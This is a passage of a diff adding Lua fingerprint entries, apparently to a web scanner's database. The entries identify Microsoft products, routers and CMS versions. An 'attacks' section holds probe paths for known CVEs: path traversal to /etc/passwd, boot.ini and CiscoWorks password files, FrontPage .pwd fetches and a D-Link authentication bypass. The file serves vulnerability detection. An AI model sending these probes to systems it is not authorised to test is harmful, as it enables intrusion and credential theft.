+ method = 'HEAD'
+ },
+ {
+ path = '/_layouts/help.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/_layouts/download.aspx',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'MS Sharepoint'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'microsoft',
+ probes = {
+ {
+ path = '/projectserver/Home/HomePage.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/projectserver/images/branding.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/projectserver/images/pgHome.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/projectserver/images/pgTask.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/projectserver/Tasks/Taskspage.asp',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'MS Project Server'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'microsoft',
+ probes = {
+ {
+ path = '/exchweb/bin/auth/owalogon.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/outlook.jpg',
+ method = 'HEAD'
+ },
+ {
+ path = '/owa/8.1.375.2/themes/base/lgntopl.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/owa/',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Outlook Web Access'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'microsoft',
+ probes = {
+ {
+ path = '/tsweb/',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Remote Desktop Web Connection'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'microsoft',
+ probes = {
+ {
+ path = '/reportserver/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Microsoft SQL Report Service'
+ }
+ }
+ });
+------------------------------------------------
+---- NETWORK EQUIPMENT ----
+------------------------------------------------
+-- Routers, switches, etc
+table.insert(fingerprints, {
+ category = 'network',
+ probes = {
+ {
+ path = '/',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = 'realm="WRT54G"',
+ output = 'Linksys WRT54g Wireless Router'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'network',
+ probes = {
+ {
+ path = '/HW_logo.html',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Huawei HG 530'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'network',
+ probes = {
+ {
+ path = '/icons/icon_set_up_2701XX_01.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/icons/icon_homeportal_2701XX.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/es/images/nav_sl_home_network_01.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/en/images/nav_sl_home_network_01.gif',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = '2WIRE 2701HG'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'network',
+ probes = {
+ {
+ path = '/images/stxx__xl.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/bbc__xl.gif',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Thomson TG585'
+ }
+ }
+ });
+
+-- HNAP Devices
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/HNAP1/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<ModelDescription>(.-)</ModelDescription>',
+ output = '\\1'
+ }
+ }
+ });
+
+------------------------------------------------
+---- ATTACKS ----
+------------------------------------------------
+-- These will search for and possibly exploit vulnerabilities.
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/sdk/../../../../../../../etc/vmware/hostd/vmInventory.xml',
+ method = 'GET',
+ nopipeline = true
+ },
+ {
+ path = '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/vmware/hostd/vmInventory.xml',
+ method = 'GET',
+ nopipeline = true
+ }
+ },
+ matches = {
+ {
+ match = '<ConfigRoot>',
+ output = 'Path traversal in VMWare (CVE-2009-3733)'
+ },
+ {
+ match = '',
+ output = 'Possible path traversal in VMWare (CVE-2009-3733)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/../../../../../../../../../../etc/passwd',
+ method = 'GET',
+ nopipeline = true
+ },
+ {
+ path = '/../../../../../../../../../../boot.ini',
+ method = 'GET',
+ nopipeline = true
+ }
+ },
+ matches = {
+ {
+ match = 'root:',
+ output = 'Simple path traversal in URI (Linux)'
+ },
+ {
+ match = 'boot loader',
+ output = 'Simple path traversal in URI (Windows)'
+ },
+ {
+ match = '',
+ output = 'Possible path traversal in URI'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/.htaccess',
+ method = 'GET'
+ },
+ {
+ path = '/.htpasswd',
+ method = 'GET'
+ }
+ },
+ matches = {
+ -- We look for a '200 OK' message on this one, because most Apache servers return an access denied
+ {
+ match = '200 OK',
+ output = 'Incorrect permissions on .htaccess or .htpasswd files'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/_vti_bin/',
+ method = 'GET'
+ },
+ {
+ path = '/_vti_cnf/',
+ method = 'GET'
+ },
+ {
+ path = '/_vti_log/',
+ method = 'GET'
+ },
+ {
+ path = '/_vti_pvt/',
+ method = 'GET'
+ },
+ {
+ path = '/_vti_txt/',
+ method = 'GET'
+ },
+ {
+ path = '/postinfo.html'
+ },
+ {
+ path = '/_vti_bin/_vti_aut/author.dll'
+ },
+ {
+ path = '/_vti_bin/_vti_aut/author.exe'
+ },
+ {
+ path = '/_vti_bin/_vti_aut/dvwssr.dll'
+ },
+ {
+ path = '/_vti_bin/_vti_adm/admin.dll'
+ },
+ {
+ path = '/_vti_bin/_vti_adm/admin.exe'
+ },
+ {
+ path = '/_vti_bin/fpcount.exe?Page=default.asp|Image=3'
+ },
+ {
+ path = '/_vti_bin/shtml.dll'
+ },
+ {
+ path = '/_vti_bin/shtml.exe'
+ },
+ {
+ path = '/_vti_pvt/_x_todo.htm'
+ },
+ {
+ path = '/_vti_pvt/_x_todoh.htm'
+ },
+ {
+ path = '/_vti_pvt/access.cnf'
+ },
+ {
+ path = '/_vti_pvt/administrator.pwd'
+ },
+ {
+ path = '/_vti_pvt/administrators.pwd'
+ },
+ {
+ path = '/_vti_pvt/authors.pwd'
+ },
+ {
+ path = '/_vti_pvt/bots.cnf'
+ },
+ {
+ path = '/_vti_pvt/botinfs.cnf'
+ },
+ {
+ path = '/_vti_pvt/deptodoc.btr'
+ },
+ {
+ path = '/_vti_pvt/doctodep.btr'
+ },
+ {
+ path = '/_vti_pvt/frontpg.lck'
+ },
+ {
+ path = '/_vti_pvt/linkinfo.cnf'
+ },
+ {
+ path = '/_vti_pvt/service.cnf'
+ },
+ {
+ path = '/_vti_pvt/service.grp'
+ },
+ {
+ path = '/_vti_pvt/service.lck'
+ },
+ {
+ path = '/_vti_pvt/service.pwd'
+ },
+ {
+ path = '/_vti_pvt/Service.stp'
+ },
+ {
+ path = '/_vti_pvt/services.cnf'
+ },
+ {
+ path = '/_vti_pvt/services.org'
+ },
+ {
+ path = '/_vti_pvt/structure.cnf'
+ },
+ {
+ path = '/_vti_pvt/svcacl.cnf'
+ },
+ {
+ path = '/_vti_pvt/users.pwd'
+ },
+ {
+ path = '/_vti_pvt/uniqueperm.cnf'
+ },
+ {
+ path = '/_vti_pvt/writeto.cnf'
+ },
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'Frontpage file or folder'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/.svn/',
+ method = 'GET'
+ },
+ {
+ path = '/.svn/text-base/.htaccess.svn-base',
+ method = 'GET'
+ },
+ {
+ path = '/.svn/text-base/.htpasswd.svn-base',
+ method = 'GET'
+ },
+ {
+ path = '/.svn/text-base/Web.config.svn-base',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'Subversion folder'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/.git/HEAD',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = 'ref: refs',
+ output = 'Git folder'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/.hg/requires',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = 'revlogv1',
+ output = 'Mercurial folder'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/.bzr/README',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = 'This is a Bazaar',
+ output = 'Bazaar folder'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/downloadFile.php',
+ method = 'GET'
+ },
+ {
+ path = '/BackupConfig.php',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ output = 'NETGEAR WNDAP350 2.0.1 to 2.0.9 potential file download and SSH root password disclosure'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/cwhp/auditLog.do?file=..\\..\\..\\..\\..\\..\\..\\boot.ini',
+ method = 'GET'
+ },
+ {
+ path = '/cwhp/auditLog.do?file=..\\..\\..\\..\\..\\..\\..\\Program%20Files\\CSCOpx\\MDC\\Tomcat\\webapps\\triveni\\WEB-INF\\classes\\schedule.properties',
+ method = 'GET'
+ },
+ {
+ path = '/cwhp/auditLog.do?file=..\\..\\..\\..\\..\\..\\..\\Program%20Files\\CSCOpx\\lib\\classpath\\com\\cisco\\nm\\cmf\\dbservice2\\DBServer.properties',
+ method = 'GET'
+ },
+ {
+ path = '/cwhp/auditLog.do?file=..\\..\\..\\..\\..\\..\\..\\Program%20Files\\CSCOpx\\log\\dbpwdChange.log',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = 'boot loader',
+ output = 'CiscoWorks (CuOM 8.0 and 8.5) Directory traversal (CVE-2011-0966) (Windows)'
+ },
+ {
+ match = '',
+ output = 'Possible CiscoWorks (CuOM 8.0 and 8.5) Directory traversal (CVE-2011-0966) (Windows)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/var/mobile/Library/AddressBook/AddressBook.sqlitedb',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Possible iPhone/iPod/iPad generic file sharing app Directory Traversal (iOS)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/Info.live.htm',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'Possible DD-WRT router Information Disclosure (BID 45598)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'Cute Editor ASP.NET Remote File Disclosure ( CVE 2009-4665 )'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/plugins/PluginController.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'OrangeHRM 2.6.3 Local File Inclusion '
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/tiki-listmovies.php?movie=../../../../../../etc/passwd%001234',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'TikiWiki < 1.9.9 Directory Traversal Vulnerability'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '2.0.11</title',
+ output = 'Joomla JCE Extension 2.0.11 Remote Code Execution vulnerability'
+ },
+ {
+ match = '2.0.12</title',
+ output = 'Joomla JCE Extension 2.0.12 Remote Code Execution vulnerability'
+ },
+ {
+ match = '2.0.13</title',
+ output = 'Joomla JCE Extension 2.0.13 Remote Code Execution vulnerability'
+ },
+ {
+ match = '2.0.14</title',
+ output = 'Joomla JCE Extension 2.0.14 Remote Code Execution vulnerability'
+ },
+ {
+ match = '2.0.15</title',
+ output = 'Joomla JCE Extension 2.0.11 Remote Code Execution vulnerability'
+ },
+ {
+ match = '1.5.7.10</title',
+ output = 'Joomla JCE Extension 1.5.7.10 Remote Code Execution vulnerability'
+ },
+ {
+ match = '1.5.7.10</title',
+ output = 'Joomla JCE Extension 1.5.7.10 Remote Code Execution vulnerability'
+ },
+ {
+ match = '1.5.7.11</title',
+ output = 'Joomla JCE Extension 1.5.7.11 Remote Code Execution vulnerability'
+ },
+ {
+ match = '1.5.7.12</title',
+ output = 'Joomla JCE Extension 1.5.7.12 Remote Code Execution vulnerability'
+ },
+ {
+ match = '1.5.7.13</title',
+ output = 'Joomla JCE Extension 1.5.7.13 Remote Code Execution vulnerability'
+ },
+ {
+ match = '1.5.7.14</title',
+ output = 'Joomla JCE Extension 1.5.7.14 Remote Code Execution vulnerability'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/d41d8cd98f00b204e9800998ecf8427e.php',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'Seagate BlackArmorNAS 110/220/440 Administrator Password Reset Vulnerability'
+ }
+ }
+ });
+
+-- HNAP Authentication Bypass
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ dontmatch = '<a href="http://www%.dlink%.com"',
+ match = '^HTTP/1.[01] 200 OK\r\n.*Server: Embedded HTTP Server',
+ output = 'D-Link Router Vulnerable to Authentication Bypass',
+ },
+ {
+ dontmatch = '<a href="http://www%.dlink%.com"',
+ match = '^HTTP/1.[01] 200 OK\r\n.*Server: Virtual Web 0.9',
+ output = 'D-Link Router Vulnerable to Authentication Bypass',
+ },
+ }
+ });
+
+-- Rompager info disclosure
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/rom-0',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = 'dbgarea',
+ output = 'RomPager Embedded Web Server information disclosure (CVE-2014-4019)'
+ },
+ {
+ match = 'spt%.dat',
+ output = 'RomPager Embedded Web Server information disclosure (CVE-2014-4019)'
+ },
+ {
+ match = 'autoexec%.net',
+ output = 'RomPager Embedded Web Server information disclosure (CVE-2014-4019)'
+ },
+ }
+ });
+
+-- Progress Telerik UI for ASP.NET CVE-2017-9248
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/Telerik.Web.UI.DialogHandler.aspx?dp=////',
+ method = 'GET'
+ },
+ {
+ path = '/Telerik.Web.UI.DialogHandler.ashx?dp=////',
+ method = 'GET'
+ },
+ {
+ path = '/DesktopModules/Admin/RadEditorProvider/DialogHandler.aspx?dp=////',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ dontmatch = 'cannot be less than zero',
+ match = 'Base%-64',
+ output = 'Progress Telerik UI for ASP.NET Cryptographic Weakness (CVE-2017-9248)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/uir//etc/passwd',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'Possible D-Link router directory traversal vulnerability (CVE-2018-10822)'
+ },
+ {
+ match = 'root:',
+ output = 'D-Link router directory traversal vulnerability (CVE-2018-10822)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/uir//tmp/csman/0',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'Possible D-Link router plaintext password file exposure (CVE-2018-10824)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/cgi-bin/export_debug_msg.exp',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-bin/config.exp',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200 OK',
+ output = 'Cisco RV320/RV325 Unauthenticated Diagnostic Data & Configuration Export (CVE-2019-1653)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'attacks',
+ probes = {
+ {
+ path = '/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = 'var admin_name=".*";\nvar guest_name=".*";\nvar admin_pwd=".*";',
+ output = 'Cisco RV110W Wireless-N VPN Firewall Password Disclosure (CVE-2014-0683)'
+ }
+ }
+ });
+------------------------------------------------
+---- Open Source CMS checks ----
+------------------------------------------------
+
+-- Wordpress versions (Scraping readme file)
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/readme.html',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<img alt="WordPress" src=".+wordpress.+".+[V|v]ersion ([0-9 .]*)',
+ output = 'Wordpress version: \\1'
+ }
+ }
+});
+
+-- Wordpress versions (Scraping metatags and wp-includes)
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<meta name="generator" content="WordPress ([0-9 .]*)" />',
+ output = 'WordPress version: \\1'
+ },
+ {
+ match = '/wp-includes/js/wp-emoji-release.min.js?ver=([0-9 .]*)',
+ output = 'WordPress version: \\1'
+ }
+ }
+});
+
+-- Wordpress versions (Scraping rss feed)
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '?feed=rss',
+ method = 'GET'
+ },
+ {
+ path = '?feed=rss2',
+ method = 'GET'
+ },
+ {
+ path = '?feed=atom',
+ method = 'GET'
+ },
+ {
+ path = '/feed',
+ method = 'GET'
+ },
+ {
+ path = '/feed/',
+ method = 'GET'
+ },
+ {
+ path = '/feed/rss',
+ method = 'GET'
+ },
+ {
+ path = '/feed/rss2',
+ method = 'GET'
+ },
+ {
+ path = '/feed/atom',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '[v|V]=([0-9 .]*)</generator>',
+ output = 'Wordpress version: \\1'
+ }
+ }
+});
+
+-- Wordpress detection indentified by Version-specific files.
+-- These are the 6 new web-accessible files that was added in each release.
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = "/wp-includes/images/rss.png"
+ }
+ },
+ matches = {
+ {
+ output = "Wordpress version 2.2 found."
+ }
+ }
+});
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = "/wp-includes/js/scriptaculous/sound.js"
+ }
+ },
+ matches = {
+ {
+ output = "Wordpress version 2.3 found."
+ }
+ }
+});
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = "/wp-includes/js/jquery/suggest.js"
+ }
+ },
+ matches = {
+ {
+ output = "Wordpress version 2.5 found."
+ }
+ }
+});
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = "/wp-includes/images/blank.gif"
+ }
+ },
+ matches = {
+ {
+ output = "Wordpress version 2.6 found."
+ }
+ }
+});
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = "/wp-includes/js/comment-reply.js"
+ }
+ },
+ matches = {
+ {
+ output = "Wordpress version 2.7 found."
+ }
+ }
+});
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = "/wp-includes/js/codepress/codepress.js"
+ }
+ },
+ matches = {
+ {
+ output = "Wordpress version 2.8 found."
+ }
+ }
+});
+
+
+-- Broad wordpress version identification (Gives major only versions)
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/wp-login.php'
+ },
+ {
+ path = '/wordpress/wp-login.php'
+ },
+ {
+ path = '/blog/wp-login.php'
+ },
+ {
+ path = '/administrator/wp-login.php'
+ },
+ {
+ path = '/weblog/wp-login.php'
+ },
+ {
+ path = '/wp-admin/upgrade.php'
+ }
+ },
+ matches = {
+ {
+ match = '[ver|version]=20080708',
+ output = 'WordPress 2.6.x found'
+ },
+ {
+ match = '[ver|version]=20081210',
+ output = 'WordPress 2.7.x found'
+ },
+ {
+ match = '[ver|version]=20090514',
+ output = 'WordPress 2.8.x found'
+ },
+ {
+ match = '[ver|version]=20091217',
+ output = 'WordPress 2.9.x found'
+ },
+ {
+ match = '[ver|version]=20100601',
+ output = 'WordPress 3.0.x found'
+ },
+ {
+ match = '[ver|version]=20110121',
+ output = 'WordPress 3.1.x found'
+ },
+ {
+ match = '[ver|version]=20121105',
+ output = 'WordPress 3.7.x found'
+ },
+ {
+ output = 'Wordpress login page.'
+ }
+ }
+ });
+
+-- ZenCart version detection
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/docs/'
+ },
+ {
+ path = '/store/docs/'
+ },
+ {
+ path = '/zencart/docs/'
+ },
+ {
+ path = '/cart/docs/'
+ }
+ },
+ matches = {
+ {
+ match = '.*">Changelog for v(%d-%..-) %(changed files%)</a>',
+ output = 'ZenCart, version \\1'
+ }
+ }
+ });
+
+-- Broad phpBB versions
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/docs/CHANGELOG.html'
+ },
+ {
+ path = '/forum/docs/CHANGELOG.html'
+ },
+ {
+ path = '/forums/docs/CHANGELOG.html'
+ },
+ {
+ path = '/board/docs/CHANGELOG.html'
+ },
+ {
+ path = '/boards/docs/CHANGELOG.html'
+ }
+ },
+ matches = {
+ {
+ match = 'Changes since (%d-%..-)</a>',
+ output = 'phpBB version slightly newer than \\1'
+ },
+ {
+ match = '<meta name="description" content="phpBB (%d-%..-) Changelog"',
+ output = 'phpBB, version \\1'
+ },
+ {
+ match = 'Changes since (%d)',
+ output = 'phpBB versioning \\1'
+ },
+ }
+ });
+
+-- tinymce / changelog
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/changelog.txt'
+ },
+ {
+ path = '/tinymce/changelog.txt'
+ },
+ },
+ matches = {
+ {
+ match = 'Version (.-) ',
+ output = 'Version \\1'
+ },
+ {
+ output = 'Interesting, a changelog.'
+ }
+ }
+ });
+
+-- interesting README files
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/readme.html'
+ },
+ {
+ path = '/pligg/readme.html'
+ },
+ {
+ path = '/digg/readme.html'
+ },
+ {
+ path = '/news/readme.html'
+ },
+ },
+ matches = {
+ {
+ match = '<h1>Pligg Content Management System</h1>%s*<h2>Version (.-)</h2>',
+ output = 'Pligg version \\1'
+ },
+ {
+ match = '<br /> Version (.-)\n',
+ output = 'WordPress version \\1'
+ },
+ {
+ output = 'Interesting, a readme.'
+ }
+ }
+ });
+
+-- They're kind enough to tell us in the meta tags (used for the author's stats)
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/'
+ },
+ {
+ path = '/forum/'
+ },
+ {
+ path = '/site/'
+ },
+ {
+ path = '/website/'
+ },
+ {
+ path = '/store/'
+ },
+ {
+ path = '/webstore/'
+ },
+ {
+ path = '/comic/'
+ },
+ {
+ path = '/wiki/'
+ },
+ {
+ path = '/mediawiki/'
+ },
+ {
+ path = '/Mediawiki/'
+ },
+ {
+ path = '/MediaWiki/'
+ },
+ {
+ path = '/wordpress/'
+ },
+ {
+ path = '/blog/'
+ },
+ {
+ path = '/cms/'
+ },
+ {
+ path = '/comiccms/'
+ },
+ {
+ path = '/weblog/'
+ },
+ {
+ path = '/joomla/'
+ },
+ {
+ path = '/administrator/'
+ },
+ {
+ path = '/openx/www/admin/index.php'
+ },
+ {
+ path = '/www/admin/index.php'
+ },
+ {
+ path = '/ads/www/admin/index.php'
+ },
+ {
+ path = '/adserver/www/admin/index.php'
+ },
+ {
+ path = '/splashfrog/'
+ },
+ {
+ path = '/pligg/'
+ },
+ {
+ path = '/vanilla/'
+ },
+ {
+ path = '/vanillaforum/'
+ },
+ {
+ path = '/vanillaforums/'
+ },
+ {
+ path = '/statusnet/'
+ },
+ {
+ path = '/xoda/'
+ },
+ {
+ path = '/trac/'
+ },
+ {
+ path = '/lime/'
+ },
+ {
+ path = '/survey/'
+ },
+ {
+ path = '/limesurvey/'
+ },
+ {
+ path = '/openvbx/'
+ },
+ {
+ path = '/getsimple/'
+ },
+ {
+ path = '/ecoder/'
+ },
+ },
+ matches = {
+ {
+ match = '<meta name="generator" content="Bluefish 2.0.1" ',
+ output = '\\1'
+ },
+ {
+ match = '<h1>ecoder v(.-)</h1>',
+ output = 'ecoder v\\1'
+ },
+ {
+ match = '<a href="http://www.splashfrog.com" target="_blank">Splash Frog WMS v(.-)</a>',
+ output = 'Splash Frog WMS v\\1'
+ },
+ {
+ match = '<a href="http://status.net/">StatusNet</a> microblogging software, version (.-),',
+ output = 'StatusNet v\\1'
+ },
+ {
+ match = '<script src=".*/applications/vanilla/js/options.js%?v%=(.-)" type="text/javascript">',
+ output = 'Vanilla Forums v\\1'
+ },
+ {
+ match = 'about"><strong>Trac (.-)</strong></a>',
+ output = 'Trac version \\1'
+ },
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/cmspages.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = '2Point Solutions CMS'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/sc_webcat/ecat/cms_view.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Webcat'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/kbcat.cgi',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'ActivDesk'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/workorder/FileDownload.jsp',
+ method = 'GET'
+ },
+ {
+ path = '/sd/workorder/FileDownload.jsp',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '500',
+ output = 'ManageEngine Support Center Plus'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/sections/reference.inc.php',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'BrewBlogger'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/store.php?action=view_cart',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'AiCart'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/catalog/main.php?cat_id=',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '200',
+ output = 'Catalog Builder'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/index.php?cat_id=1',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = 'powered by CubeCart',
+ output = 'CubeCart'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/forum_answer.php?que_id=1',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Guru JustAnswer'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/templates1/view_product.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'HB ECommerce'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/escort-profile.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'First Escort Marketing CMS'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/pages/indexheader.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/pages/searcher.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/pages/indexviewentry.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Green Pants CMS'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/tinymcpuk/filemanager/browser.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'CMS Lokomedia'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/admin/libraries/ajaxfilemanager/ajaxfilemanager.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Log1 CMS'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/leftmenubody.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
